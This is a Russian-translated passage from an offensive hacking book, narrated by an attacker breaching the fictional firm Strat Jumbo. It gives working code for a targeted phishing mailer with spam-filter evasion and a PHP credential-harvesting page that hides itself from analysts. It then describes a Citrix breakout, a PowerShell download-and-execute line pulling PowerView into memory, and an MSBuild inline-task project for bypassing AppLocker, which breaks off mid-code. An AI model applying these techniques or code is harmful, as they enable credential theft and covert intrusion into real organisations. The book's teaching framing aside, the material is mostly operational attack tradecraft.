Этот внешне кажущийся рандомным блок данных в параметре


utm_term является зашифрованным именем жертвы. Идея состоит
в том, что когда пользователи будут перенаправляться на нашу
фишинговую страницу, они будут получать кастомное приветствие
типа “Добро пожаловать, Стив”, которое будет заставлять их
думать, что веб-сайт каким-то образом имеет доступ к их
идентификационным данным через стандартную корпоративную
SSO (Single Sign-On).

Чтобы получить этот токен из имени пользователя, мы


применяем простую операцию XOR на Python к полному имени
перед отправкой письма:

from itertools import izip, cycle


import base64

def xor_string(data):

Перевод
@Ianuaria
skladchik.com
key ="PibtwweIOwI8S6VEbADlRHpm4w4L6"
xored = ''.join(chr(ord(x)^ord(y)) for (x,y) in izip(data, cycle(key)))

return base64.encodestring(xored).strip()

Получение валидных имен сотрудников - это простой этап, и


мы разберемся с ним позже. А сейчас, давайте просто
предположим, что мы получили подобный список.

Нам нужен быстрый и эффективный скрипт, который будет


проходить циклом по такому списку, создавать кастомизированную
ссылку, вызывая функцию ​xor_string​, включать ее в письмо и
отправлять его через локальный сервер ​postfix​. Следующий код
снабжен большим количеством комментариев и довольно прост, так
что смело изучайте его:

#!/usr/bin/python

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from itertools import izip, cycle
import base64
import time

# Включить предыдущую функцию xor_string 


##[...] 
## 
with open('list_names.txt', 'r') as f:
for line in f:
# Взять полное имя жертвы (например, david.stuart) 
target = line.strip()

# Создать контейнер сообщения - правильный MIME-тип 


multipart/alternative 
msg = MIMEMultipart('alternative')
msg['Subject'] = "Link"
msg['From'] = '"DEV Strat Jumbo"
<michael.han@stratjumbotech.com>'

Перевод
@Ianuaria
skladchik.com
# Добавить имя жертвы к адресу почты 
msg['To'] = target+"@stratjumbo.com"

# Создать зашифрованный блок для utm_term 


xor_data = xor_string(target)

# Создать тело письма 


html = """\
Hello,
[...]
<a href='....?utm_term="""+xor_data+"""'></a>
[...]
"""

# HTML-сообщение включается в email-контейнер 


part2 = MIMEText(html, 'html')
msg.attach(part2)

# Отправка письма через локальный SMTP-сервер 


s = smtplib.SMTP('localhost')
s.sendmail(msg['From'], msg['To'], msg.as_string())
s.quit()
# Приостановить выполнение на 2 секунды 
time.sleep(2)

Мы выполняем несколько тестовых попыток на адреса Gmail и


Outlook, чтобы убедиться, что мы проходим их спам-фильтры.

Если вы испытываете проблему с тем, чтобы попасть в папку


со входящими, это означает, что либо было выбрано слабое
доменное имя, либо текст письма был расценен как
подозрительный. Фразы типа ​free (“бесплатно”), ​click here (“нажать
здесь”), ​
big opportunity (“большая возможность”) и другие подобные
стремительно поднимут спам-оценку.

**Примечание** 

Не забывайте зарегистрировать email-адрес отправителя,


который используете (в данном случае,

Перевод
@Ianuaria
skladchik.com
michael.han@stratjumbotech.com​). Это просто, достаточно лишь
указать параметр перенаправления почты у провайдера DNS на
легитимный почтовый ящик (protonmail.com, mailfence.com, yopmail и
так далее).

Будет пустой тратой времени решать все эти проблемы, чтобы


по итогу спалиться лишь по причине того, что пользователи,
которые постарались ответить на письмо, получили ошибку, в
которой говорится, что адрес почты не зарегистрирован.

**** 

Далее мы сосредоточимся на настройке веб-сайта, на котором


все эти люди будут вручать нам свои учетные данные.

Как уже говорилось ранее, нам нужно оформить легитимно


выглядящий веб-сайт на тему программирования, который одурачит
большинство любопытных форензик-аналитиков. Лишь одна
скрытая страница будет содержать форму для граббинга паролей,
которая разведет пользователей на раскрытие их паролей.

Мы разворачиваем веб-сайт на Wordpress45 с базовой темой,


которая в высокой степени основана на цветовой гамме Strat
Jumbo. Самый быстрый и простой способ достичь высокого уровня
точности - присосаться к одну из веб-сайтов Strat Jumbo при
помощи инструмента ​HTTP Tracker (​HTTrack​) - но будьте готовы к
ряду поломанных ссылок и недостающих изображений.

Обычно я следую более ручному подходу. В конце концов, два


веб-сайта не должны быть похожи друг на друга в точности,
поэтому в целом можно позволить себе вольности местами.

45
Если вам нужна помощь в настройке сайта на Wordpress, следуйте этому пошаговому
руководству:

https://codex.wordpress.org/Installing_WordPress

Перевод
@Ianuaria
skladchik.com
При этом есть некоторые ключевые переменные, которые
должны оставаться совершенно неизменными, поскольку они
общаются напрямую с подсознательной частью мозга. Речь о
неизменности цветовой палитры, семействе шрифта, тоне
общения, интервале между буквами, толщине линий и логотипе
компании.

Если мы разберемся с этими деталями, то сможем одурачить


б​о​льшую часть пользователей, заставив их считать, что они на
доверенном корпоративном веб-сайте.

Нам стоит презентовать фейковый веб-сайт как


маркетинговый блог, используемый руководством для
предоставления последних бета-плагинов, общения по фичам IDE и
укреплению имиджа Strat Jumbo.

Если задуматься об этом, ни один из сотрудников в


действительности не знает обо всех корпоративных веб-сайтах. Да
черт возьми, даже IT-админы испытывают проблемы с тем, чтобы
уследить за появлением и исчезновением в небытие корпоративных
сайтов, создаваемых по каким-либо маркетинговым и
коммуникационным инициативам.

Чтобы сделать наш сайт еще более правдоподобным, мы


наполним его разнообразными статьями о программировании,
которые соберем из различных источников и подпишем
легитимными именами сотрудников, собранными на LinkedIn:

Перевод
@Ianuaria
skladchik.com
Какая IDE лучше всего подходит под ваши нужды?
От Visual Studio до Sublime Text

Посередине этого спектакля мы добавляем одну скрытую


страницу, на которой анонсируется новый плагин и содержится
приглашение для пользователей пройти аутентификацию для
скачивания вышеупомянутого плагина, используя их корпоративные
учетные данные. Ничего слишком причудливого, основной объем
убеждения уже был выполнен письмом и шаблонами веб-сайта.

Как уже обсуждалось ранее, наше кастомное сообщение в


верхнем правом углу будет легким толчком, необходимым для
приближения жертвы к краю обрыва:

Код на бэкенде - это простой формграббер, который


записывает учетные данные в текстовый файл и отображает
сообщение об ошибке, в котором говорится о том, что плагин станет
доступен для скачивания через какое-то время46:

// Если параметры login и password существуют и не пустые 


if (isset($_POST['login']) and $_POST['password']
and !empty($_POST['login'])
and !empty($_POST['password'])){

46
Используйте плагин insert_php, чтобы писать код в постах и на страницах Wordpress.

Перевод
@Ianuaria
skladchik.com
//  Отобразить  сообщение  об  ошибке  (“​Плагин  станет  доступен  для  вашего 
региона  через  пару  дней,  пожалуйста,  возвращайтесь  через  это  время!​”), 
затем записать учетные данные в файл 
echo "The plugin will be available in a couple of days in your
region, please come back soon!";

$data = $_POST['login']."\t".$_POST['password']."\n";

file_put_contents('/tmp/results.txt', $data, FILE_APPEND);

Хотя этот сетап определенно справится со своей задачей,


стоит хотя бы одному подозрительному программисту
перенаправить письмо его приятелю-аналитику, и вся кампания
пойдет ко дну.

Чтобы помешать этому, мы добавим небольшой отвлекающий


маневр - код начальной загрузки, который будет следовать базовой
логике и решать, отображать или нет фишинговую страницу.

Каждый пользователь, согласно нашему замыслу, получает


уникальный URL на нашу скрытую страницу благодаря имени,
включенному в параметр ​utm_term​.

Следовательно, мы можем допустить, что в большинстве


успешных случаев, когда пользователи будут поддаваться своему
первому порыву, URL будет просматриваться только один раз. Мы
можем преобразовать это допущение в виде кода и автоматически
изменять содержимое страницы, если один и тот же URL
просматривается более одного раза - например, в случае, если
что-либо заподозривший пользователь перенаправил письмо
излишне любопытному аналитику.

Конечно, эта небольшая уловка снижает вероятность


получения учетных данных в случае, когда пользователь упустит
возможность ввести свой пароль в первый раз и потеряет

Перевод
@Ianuaria
skladchik.com
последующий доступ к странице, но эту маленькую потерю можно
принять.

Чтобы воспользоваться этой хитростью, мы сначала создаем


SQL-таблицу с четырьмя столбцами: row ID; значение токена
utm_term​, а именно зашифрованное имя жертвы; счетчик и дату
посещения.

Каждый раз, когда пользователь будет загружать страницу, мы


увеличиваем поле счетчика, привязанное к его уникальному
параметру ​utm_term​. Таким образом, вопрос решается простой
проверкой, посещал ли пользователь страницу ранее (счетчик
больше нуля) или нет (счетчик равен нулю):

Далее, мы пишем PHP-код начальной загрузки, который, по


загрузке странице, проверяет базу данных и смотрит, какому
порядку действий следовать. Если страницу уже посещали (счетчик
> 0), он загружает фиктивное содержимое точно такой же длины, как
форма для граббинга паролей. Если нет, он выставляет
непосредственную фишинговую страницу.

//  Если  нет  токена  utm_term,  или  если  он  пустой,  перенаправить  на  главную 
страницу 
if (!isset($_GET['utm_term'])

Перевод
@Ianuaria
skladchik.com
or empty($_GET['utm_term'])){
header('Location: /');
}

// Соединение с Mysql 
$db = new
PDO('mysql:host=localhost;dbname=catalog_db3;charset=utf8mb4',
'wp_user', 'Kja98&o:Lkaz098');

// Извлечь поле счетчика из базы данных, привязанное к определенному 


параметру utm_term 
$stmt = $db->prepare("SELECT * FROM tokens WHERE utmterm=:utmterm");
$stmt->execute(array(":utmterm"=> $_GET['utm_term']));

// Если страница посещается впервые, отобразить форму 


if ($row = $stmt->fetch(PDO::FETCH_ASSOC)
and $row['counter'] == 0) {

// Вставить код формы, запрашивающий у пользователя учетные 


данные 

// Увеличить счетчик, поскольку страница была отображена 


$stmt2 = $db->prepare("UPDATE tokens set counter = 1, reg_date=NOW()
WHERE utmterm=:utmterm");

$res = $stmt2->execute(array(":utmterm"=> $_GET['utm_term']));

// Если подходящий токен не обнаружен, значит, он был изменен 


} else if (!$row){
header('Location: /');

//  Если  пользователь  посещает  во  второй  раз,  показать  стандартную  ошибку, 
наполненную незначащей информацией 
} else {

echo "The plugin will be available in a couple of days in your


region, please come back soon!";
//  Заполнить  дополнительными  невидимыми  данными,  чтобы  достичь 
длины формы 
}

Перевод
@Ianuaria
skladchik.com
Я избегаю использования перенаправлений, если только
пользователи явно не подделывают параметры. Аналитик,
просматривающий данные прокси, может в теории заспотить
несоответствие между пользователями, успешно загрузившими
страницу в первый раз (HTTP код 200) и теми же самыми
пользователями, которые не могут повторно посетить эту страницу
(HTTP код 302).

Он может затем догадаться, что существует какой-либо


механизм фильтрации на стороне сервера и таким образом
получить стимул на дальнейшее разбирательство.

Как только пользователь вводит свои учетные данные,


веб-сервер записывает их в файл и выдает ошибку, сообщающую,
что плагин будет в скором времени доступен для региона
пользователя.

Отлично! Теперь нам нужен лишь список жертв, которым мы


совершим рассылку, затем сможем откинуться на спинке кресла и
наслаждаться поступлением паролей.

Благодаря быстрому обмену сообщениями с отделом


обслуживания клиентов, мы знаем, что в Strat Jumbo используются
адреса формата имя.фамилия@stratjumbo.com, так что мы можем
воспользоваться LinkedIn для нахождения достоверных имейлов
действующих сотрудников.

Другим способом будет поиск в Google “​@stratjumbo.com​”.


Или еще лучше, поскольку мы имеем дело с крупной корпорацией,

Перевод
@Ianuaria
skladchik.com
поищите в списках ранее утекших паролей email-адреса,
принадлежащие Strat Jumbo. Порой можно найти даже легитимные
пароли, которые можно повторно использовать на корпоративных
платформах.

Как только мы соберем существенный список валидных


адресов почты (~200), мы берем выборку из, допустим, 120, которая
станет нашей первой партией для тестирования.

Насколько нам известно, наше письмо может содержать


помеченные ключевые слова из-за предыдущих спам-писем,
нацеленных на Strat Jumbo. Или может быть, у них есть
продвинутое устройство мониторинга, которое мы не взяли в
расчет.

Будет безрассудством ставить всё на один единственный


решительный шаг, включающая в него все собранные email-адреса,
поэтому давайте не будем торопиться.

Мы отправляем первую партию писем в районе 10 утра, чтобы


поприветствовать пользователей, когда они возвращаются со
своего утреннего перерыва на кофе.

Вторую партию отправляем в районе 12:30, когда


большинство людей бездумно надкусывают свой сэндвич и ищут
способа отвлечься.

Пишем короткий скрипт для прохода циклом по файлу


журнала Apache ​/var/log/apache2/access.log в поиске запросов
на загрузку той картинки в подписи к письму. Эта команда
отслеживает показатель открытия писем в нашей кампании:

Перевод
@Ianuaria
skladchik.com
Уже есть первое попадание! 1 из 120 - это довольно-таки
низкий показатель, но давайте подождем! Как правило, 90% всех
потенциальных хитов происходят в первые восемь часов.

Если показатель открываемости будет менее 5%, это будет


явно указывать на то, что наше сообщение вероятнее всего было
отловлено спам-фильтром. Хотя в нашем случае, это
маловероятно, учитывая скорость, с которой появился первый
пользователь, а также огромное количество проведенных нами
тестов и настроек.

В любом случае, мы возвращаемся через пару часов, и вот так


сюрприз, 25 пользователей уже подарили нам свои пароли, а их
количество продолжает расти:

Если это не самое сексуальное, что может произойти, то я не


знаю, как еще это назвать...

Перевод
@Ianuaria
skladchik.com
 
 
 
 
Первое погружение 
 
 
 
“Тестирование ведет к неудаче, 
а неудача ведет к пониманию” 

Бёрт Рутан 

Перевод
@Ianuaria
skladchik.com
Всего через 24 часа после запуска фишинговой кампании мы
уже собираем 35 паролей. Это 35 пуль в нашем патронташе для
атаки на Strat Jumbo путем олицетворения некоторых их самых
важных сотрудников.

Что любопытно, наше фишинговое письмо, по всей видимости,


смогло одурачить даже нескольких технически подкованных
специалистов по продажам и IT-админов.

Но нас теперь заботят не конкретно эти сотрудники, не так ли?

Раз за разом пентестеры и члены Red Team связывают “нагиб”


компании с получением привилегий администратора домена
Windows. Сколь предвзятое и редуктивное отношение к
моделированию реальных угроз.

Это правда, что по достижении привилегий администратора


домена мы получаем полную свободу действий над всеми
Windows-системами, которые могут легко насчитывать до 85% от
всей IT-инфраструктуры. Именно поэтому пентестеры, стесненные
ограничениями по времени и бюджету, автоматически охотятся за
этим священным Граалем. Одна находка, чтобы получить власть
над всем. Одна уязвимость, чтобы продемонстрировать
безграничные бизнес-риски.

Идеальный ответ на не идеальное упражнение.

Мы, однако, не пентестеры. У нас нет ограничения по времени


или обязанности докладывать о находках и убеждать в чем-либо
пассивных членов правления компании.

Если мы сможем разработать план по внедрению бэкдора в


код Strat Accounting, используя учетную запись обычного
разработчика, тем лучше. Это сэкономит нам время и оставит
меньше следов в системах.

Перевод
@Ianuaria
skladchik.com
Поэтому нам нужно держать в уме, что любой сотрудник, у
которого есть доступ к коду с правами на запись, является нашей
прямой целью, неважно, кем он работает - в IT-поддержке,
тестировщиком кода, баг-хантером, программистом или, конечно,
IT-администратором, в последнем случае придется идти непрямыми
путями.

Мы знаем, что б​ о​льшая часть наших жертв в ходе


фишинговой атаки вероятнее всего являются программистами,
благодаря нашей таргетированной рассылке; тем не менее, мы не
можем быть уверены в их вовлеченности в проект Strat Accounting.
Будем надеяться, что мы получим более ясное представление, как
только окажемся внутри корпоративной сети.

Приготовьтесь к нашему первому погружению.

Побег из тюрьмы 

Через наш сервер Front Gun (виртуальный частный сервер),


который зарегистрирован в Лондоне, мы подключаемся к
приложению экстранета на ​stratextranet.stratjumbo.com​,
используя имеющиеся в нашем распоряжении учетные данные
одного из сотрудников. Давайте зайдем под Лаурой, поскольку так
получилось, что она тоже работает в Великобритании:

Перевод
@Ianuaria
skladchik.com
Нас приветствует платформа Citrix, предлагающая запустить
только одно приложение: Firefox.

Окружение Citrix - это одно из наиболее распространенных


решений, которое предпочитают использовать крупные компании
для предоставления внешним сотрудникам (или бизнес-партнерам)
ограниченного доступа ко внутренним ресурсам:
бизнес-приложениям, общим файловым ресурсам и так далее.

Программы, размещенные через Citrix, выполняются на одном


из множества серверов фермы Citrix внутри корпоративной сети,
хотя для конечного пользователя кажется, что программа реально
работает на его собственном компьютере.

Можете считать это навороченным сеансом удаленного


рабочего стола (RDP), ограниченного работой одного приложения.

Ниже представлена упрощенная схема типовой архитектуры


Citrix, чтобы помочь вам составить представление о платформе:

Перевод
@Ianuaria
skladchik.com
Сервер Netscaler выполняет роль балансировщика
нагрузки/обратного прокси для распределения пользовательских
соединений по многочисленным серверам Storefront. Системы
Storefront управляют доставкой приложений и рабочих столов
конечным пользователям.

Именно здесь администраторы указывают и определяют,


какие приложения должны быть размещены, кто может иметь к ним
доступ, какой тип аутентификации выполнять и так далее. Эти
приложения не работают на StoreFront; они подтягиваются через
своего рода инкапсулированный RDP с удаленных серверов
Windows (XenApps).

Citrix также предоставляет возможность запускать полностью


интерактивный сеанс рабочего стола, в этом случае StoreFront
прокладывает полноценный RDP сеанс с предопределенными
набором рабочих столов Windows.

Citrix - это сложное решение со множеством внутренних


модулей (базы данных, общие сетевые ресурсы и т.д.). Надеюсь,
эта одномерная схема помогла вам представить общий принцип
работы этой платформы.

Иногда нам не нужно знать все о системе, чтобы взломать ее,


но лучше всегда иметь хорошее представление о полной картине,
чтобы понимать, с чем мы имеем дело.
Перевод
@Ianuaria
skladchik.com
Несмотря на все свои навороченные графические средства и
привлекательные концепции, Citrix, в конечном счете, не более чем
мираж. Иллюзия, рассчитанная на ввод в заблуждение самых
доверчивых администраторов, которые готовы поверить, что это
безопасный продукт. Правда в том, что в нем нет принудительного
ограничения распространения.

Любой пользователь, который запускает программу,


предоставляемую через Citrix, может вырваться из видимых
ограничений, наложенных на приложение, и получить доступ ко
всем ресурсам удаленного сервера: Проводник Windows, диспетчер
задач, интерпретатор командной строки и в целом любой другой
ресурс, даже если он не был изначально выведен на StoreFront.

Есть ряд материалов, в которых обсуждается обход


визуальных ограничений в Citrix
(​https://blog.netspi.com/breaking-out-of-applications-deployed-via-termin
al-services-citrix-and-kiosks/​
), нам необязательно углубляться в них
сейчас, поскольку мы уже рассмотрели некоторые из них в книге
“Занимайся хакингом с ловкостью Бога”.

Мы начинаем со стандартных горячих клавиш для запуска


диспетчера задач на сервере XenApp. Запускаем Firefox в Citrix и
нажимаем “Ctrl + F1”. Если успешно, то диспетчер задач тогда
поможет нам раскрыть интерпретатор командной строки на сервере
XenApp.

Перевод
@Ianuaria
skladchik.com
Ваш системный администратор заблокировал это приложение.
За дополнительными сведениями обратитесь к своему системному
администратору.

Не удивительно, что нам выдается ошибка. Конечно, в


противном случае было бы слишком просто. Похоже, что Strat
Jumbo немного усложняют задачу. Вероятно, они осведомлены об
ограничениях Citrix и активировали решение для белых списков
Applocker от Microsoft.

Оно позволяет администраторам блокировать исполняемые


файлы, считающиеся “опасными”. Диспетчер задач - это очевидный
кандидат, но к счастью, мы можем найти обходной путь.

Возвращаемся к окну Firefox, нажимаем “Ctrl+O”, в этот раз


для запуска диалогового окна “Открыть”. Мы не можем получить
доступ к основному диску ​
C: или его общей копии (​\127.0.0.1\C$​).
Оба варианта заблокированы политиками GPO Windows.47

Эта операция была прервана из-за ограничений, наложенных на данный компьютер.


Пожалуйста, обратитесь к своему системному администратору.

Но достаточно забавно, что мы можем обойти это глупое


ограничение, напрямую просматривая файловую систему через
Firefox… ах, Windows!
47
Объекты групповой политики - это набор правил и параметров на уровне домена для
подгруппы пользователей и/или рабочих станций. Эти правила могут распространяться на
широкий спектр элементов конфигурации в Windows (сложность паролей, продолжительность
блокировки учетных записей и так далее).

Перевод
@Ianuaria
skladchik.com
Мы не можем записывать в эти папки, используя диалоговое
окно “Сохранить как”, поскольку на них распространяются
параметры GPO “File Explorer”, но этот простой доступ на чтение
позволяет нам просматривать жесткий диск в поиске легких целей,
типа личных папок, паролей в открытом виде, забытых файлов
конфигурации во временной папке и так далее. К нашему
сожалению, ничего полезного найти не удается.

Продолжая наш баттл против Applocker, мы пытаемся


запустить некоторые программы из адресной строки в диалоговом
окне “Открыть”:

Пробуем стандартные вещи типа: ​cmd.exe​, ​explorer.exe​,


notepad.exe​, WMIC, Office Suite, CScript, JScript, rundll32, mshta и

Перевод
@Ianuaria
skladchik.com
так далее.48 Все они заблокированы, за исключением нашего
хорошего друга - ​
PowerShell.exe​:

Что может быть проще, да?

Пользователям, открывающим сеанс Windows на сервере


XenApp, назначается домашняя папка на общем сетевом ресурсе.
Эта домашняя папка обычно мапится к букве локального диска,
отсюда диск “​X:\​” на скриншоте выше.49

Мы пробуем некоторые безвредные команды для разведки на


этом сервере ​STRAT-CI-01​, чтобы получить поверхностное
представление об окружении, к которому мы подключены:

48
Отличный ресурс, на котором сведены воедино всевозможные техники обхода с
детализированными пейлоадами:

https://github.com/api0cradle/UltimateAppLockerByPassList

49
Доступ к диску C: для сеанса PowerShell ограничен не больше, чем это было для сеанса
Firefox, за исключением того, что в этот раз мы можем свободно записывать в папки, если это
разрешено полномочиями контроля доступа.

Перевод
@Ianuaria
skladchik.com
Мы имеем дело с последней версией (на февраль 2018 года)
Windows Server 2016, сборка 14393. Он находится в подсети
10.78.1.83/24​, вероятно в DMZ, отделенной от внутренней сети.

Система была недавно обновлена, свидетельством чего


является номер KB50 (пакет KB4077525 был выпущен в конце
февраля 2018 года), так что можем забыть о недавно выпущенных
эксплойтах для повышения привилегий.

Доменная учетная запись “​Citrix_srv​” обладает


привилегиями администратора на этой машине. Она может владеть
такими же привилегиями и на других XenApp-серверах фермы Citrix.
Это ценная учетная запись, на которую стоит наложить наши руки.

50
https://support.microsoft.com/en-us/help/4096309

Перевод
@Ianuaria
skladchik.com
По всей видимости, Windows-домен Strat Jumbo управляется
сторонними высоко-привилегированными учетными записями. Мы
перепроверяем их по списку учетных записей, которые собрали
посредством фишинга ранее, но удача не на нашей стороне в этот
раз. Тем не менее, нам стоит отслеживать эти аккаунты, на случай
если мы когда-нибудь наткнемся на один из них.

В любом случае, самое время для полной разведки домена


при помощи более подходящих инструментов, типа
PowerView​.51 Нам нужно собрать реальные
небезызвестного скрипта ​
разведданные по окружению Strat Jumbo, включая информацию об
их пользовательских учетных записях, принадлежности к группам,
доверительных отношениях и так далее.

Останавливаем свой выбор на классическом исполнении в


памяти при помощи ​DownloadString и ​Invoke-Expression​, чтобы
избежать потенциальных антивирусных программ:

# Создать объект browser 


$browser = New-Object System.Net.WebClient;

# Добавить поддержку дефолтного прокси с кешированными 


пользовательскими учетными данными 
$browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials;

# Загрузить и выполнить скрипт PowerView в памяти 

51
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Перевод
@Ianuaria
skladchik.com
IEX($browser.DownloadString('
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master
/Recon/PowerView.ps1'));

Это разочаровывает, если не сказать большего. Да, может


быть PowerShell и был беззаботно проигнорирован
администраторами Citrix, но сценарные правила Applocker
постарались заблокировать его, используя ограниченный языковой
режим.

$ExecutionContext.SessionState.LanguageMode

Ограниченный языковой режим


(​https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-co
nstrained-language-mode/​) ограничивает PowerShell
лимитированным поднабором разрешенных и безвредных
возможностей. Команда ​New-Object определенно не является
одной из них, поскольку она объявляет кастомные .NET или COM
объекты, которые расширяют возможности PowerShell по
взаимодействию со внутренними компонентами Windows, по этой
причине мы получили вышеуказанную ошибку.

Данный режим также запрещает некоторые расширенные


возможности типа вызова .NET методов, определения новых
классов из нативного кода C# (функция ​add-type​), запуска заданий
(​start-job​) и так далее.

Перевод
@Ianuaria
skladchik.com
Таким образом, большую часть наступательных
PowerShell-скриптов на рынке можно считать практически
бесполезными ввиду этого нового параметра безопасности в
движке выполнения PowerShell под названием Windows
Management Framework, он же WMF 5.

Самый простой способ обойти подобное ограниченное


окружение - это вызвать дефолтный интерпретатор PowerShell v2, в
котором не реализована ни одна из новых фич безопасности версии
5.

Снова неудача. Версия 2 .NET framework не установлена на


этом сервере.

Мы могли бы вообще не использовать PowerShell, но у нас не


так уж и много возможностей здесь. Политика Applocker,
развернутая на этом сервере, затрагивает даже библиотеки DLL.
Любым заданным процессом могут быть загружены только файлы
из доверенных локаций:

Кажется, нам нужно доставать большие пушки, чтобы сбежать


от этой смертельной комбинации из Applocker и ограниченного
окружения.

Перевод
@Ianuaria
skladchik.com
Как вы наверное знаете, ​PowerShell.exe и б​о​льшая часть
других сложных исполняемых файлов, если уж об этом зашла речь,
являются лишь обертками вокруг одной или нескольких DLL,
которые реализуют действительную логику программы.

Все ключевые возможности, доступные в PowerShell, к


примеру, определяются и экспортируются файлом
System.Management.Automation.dll​.

Когда Applocker начинает свою работу, ​ PowerShell.exe


принудительно загоняется в ограниченный режим, в то время как
System.Management.Automation.dll - нет. Последний продолжает
работать в режиме Full Language mode, не обращая внимания на
правила Applocker.

Если мы позаботимся о создании своей собственной обертки,


которая будет вызывать и инициировать
System.Management.Automation.dll​, то мы сможем снова
насладиться командами PowerShell на полную силу.

Эта обертка не должна быть внешним исполняемым файлом


(.exe или .dll), который мы создаем отдельно, а затем сбрасываем в
окружение Citrix. Ведь, спасибо Applocker-у, файлы разрешено
запускать только лишь из пары строго определенных папок
(​C:\Windows и ​C:\Programs​, в данном случае), для которых у нас
нет привилегий на запись.

Поскольку всё столь плотно заперто, можно


полюбопытствовать: “А что вообще разрешено на этой машине?”
Ответ следующий: доверенные бинарники!

Поищите Casey Smith (@subtee). Множество его советов и


трюков по злоупотреблению доверенными бинарниками Windows

Перевод
@Ianuaria
skladchik.com
создали ему репутацию некоего божества и надежного источника
информации в сообществе безопасности.

Между его именем и обходом решений по белым спискам в


наши дни можно поставить знак равенства. Он продемонстрировал
всевозможные способы вредоносного использования бинарников
Windows, от простых трюков, типа использования ​certutil.exe для
загрузки файлов (утилита для вывода сертификатов) до более
продвинутых техник, типа запуска шеллкода/малвари при помощи
нативной утилиты ​
regsvcs​.

Один из таких мощных трюков, который может помочь нам в


текущем затруднительном положении, связан с ​msbuild​,
платформой, которая компилирует и запускает .NET приложения.

Msbuild - это подписанный Microsoft двоичный файл, который


находится в доверенной директории, в зависимости от версии .NET
framework (например, для версии 4 путь:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe​).

Таким образом, Applocker, согласно своим дефолтным


правилам, разрешает ему запускаться. Более того, ​
msbuild часто
используется разработчиками по причине своих сценарных
возможностей, он предоставляет гибкость при компиляции и сборке
многосоставных проектов (в отличие от более тяжелого Visual
Studio, к примеру).

Крайне маловероятно, что администраторы блокируют


конкретно этот исполняемый файл на своих серверах, особенно в
Strat Jumbo - компании, занимающейся разработкой ПО.

И действительно, мы можем свободно запустить эту утилиту


из диалогового окна “Открыть” (хотя она быстро закрывается,
поскольку прекращает свою работу с ошибкой, если не указать
точного входного файла):

Перевод
@Ianuaria
skladchik.com
Все, что нам нужно теперь - это проект в виде XML-файла,
содержащий код для компиляции. Если все пройдет успешно,
msbuild ​автоматически загрузит и выполнит исполняемый файл,
таким образом обходя правила Applocker.

Обычно мы воздерживаемся от сброса файлов на диск, чтобы


свести к минимуму свои следы и избежать назойливых
антивирусных решений, но кажется, что в этот раз у нас не особо
есть выбор. Однако, есть и положительная сторона вопроса, это не
должно стать проблемой, поскольку мы вручную соберем свой
пейлоад, таким образом избегая очевидных вредоносных строк в
коде.

На одном из наших серверов для взлома мы приступаем к


заполнению пустого файла проекта под названием ​readme.txt​,
следуя документации Visual Studio 2017
(​
https://docs.microsoft.com/en-us/visualstudio/msbuild/walkthrough-creat
ing-an-msbuild-project-file-from-scratch?view=vs-2017​):

<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

</Project>

Элемент проекта обычно включает целевой узел (​


<target>​).
Этот узел является основным элементом, собирающим
последовательность задач, подлежащих выполнению ​ msbuild​.

Перевод
@Ianuaria
skladchik.com
Этими задачами могут быть встроенные операции типа ​MakeDir для
создания директорий, ​Copy​для копирования файлов и так далее.

Однако, поскольку мы нацелены на нечто слегка более


сложное - компиляция и выполнение кода на лету - нам нужно
создать свою собственную кастомную задачу, определив новый
XML-элемент, типа ​PsCommand​, к примеру.

<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

<Target Name="PSBYPASS">
<PsCommand/>
</Target>

</Project>

PsCommand - это имя кастомной задачи, которую требуется


скомпилировать и выполнить ​ msbuild​. Мы выделяем ей несколько
строк в проекте, внутри элемента ​
UsingTask​:

<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

<Target Name="PSBYPASS">
<PsCommand/>
</Target>
<UsingTask
TaskName="PsCommand"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsof
t.Build.Tasks.v4.0.dll"
>

</UsingTask>
</Project>

Атрибут ​TaskName в ​UsingTask должен соответствовать имени


элемента в узле ​Target​: ​PsCommand​. Атрибут ​AssemblyFile

Перевод
@Ianuaria
skladchik.com
указывает на DLL, содержащую стандартные команды для
преобразования нашего будущего кода (C#) в нативные задачи
msbuild​для их выполнения.

В элементе ​UsingTask мы определяем узел ​Task (​<task>​),


который содержит элемент ​ Code (​
<code>​), в котором - сюрприз,
сюрприз - мы можем прописать C#-код и вызвать функции .NET.

<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

<Target Name="PSBYPASS">
<PsCommand/>
</Target>
<UsingTask
TaskName="PsCommand"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsof
t.Build.Tasks.v4.0.dll"
>
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
// Вставляем сюда C#-код! 
]]>
</Code>
</Task>
</UsingTask>
</Project>

Как уже говорилось ранее, нам нужно включить отсылку к DLL


System.Management.Automation​, чтобы иметь возможность
вызывать команды PowerShell, по этой причине используется
элемент ​Reference​.

Ниже я вставлю C#-код отдельно для лучшего понимания, но


его следует включить в вышеуказанный XML-файл, в элемент ​
Code
(​
<code>​).

Перевод
@Ianuaria
skladchik.com
Во-первых, мы начинаем с определения публичного класса
под названием ​PsCommand​, который наследует интерфейсы ​ITask и
Task​, необходимые для ​msbuild​:

// Импорт всех необходимых DLL 


using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Management.Automation;
using System.Management.Automation.Host;
using System.Management.Automation.Runspaces;
using PowerShell = System.Management.Automation.PowerShell;

// Основной публичный класс, внедряющий интерфейсы Task и ITask, 


необходимые для msbuild 
public class PsCommand : Task, ITask
{

В этом классе мы переопределяем функцию ​


Execute​, с
которой ​
msbuild​начинает поток выполнения:

// Импорт всех необходимых DLL 


using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Management.Automation;
using System.Management.Automation.Host;
using System.Management.Automation.Runspaces;
using PowerShell = System.Management.Automation.PowerShell;

public class PsCommand : Task, ITask


{

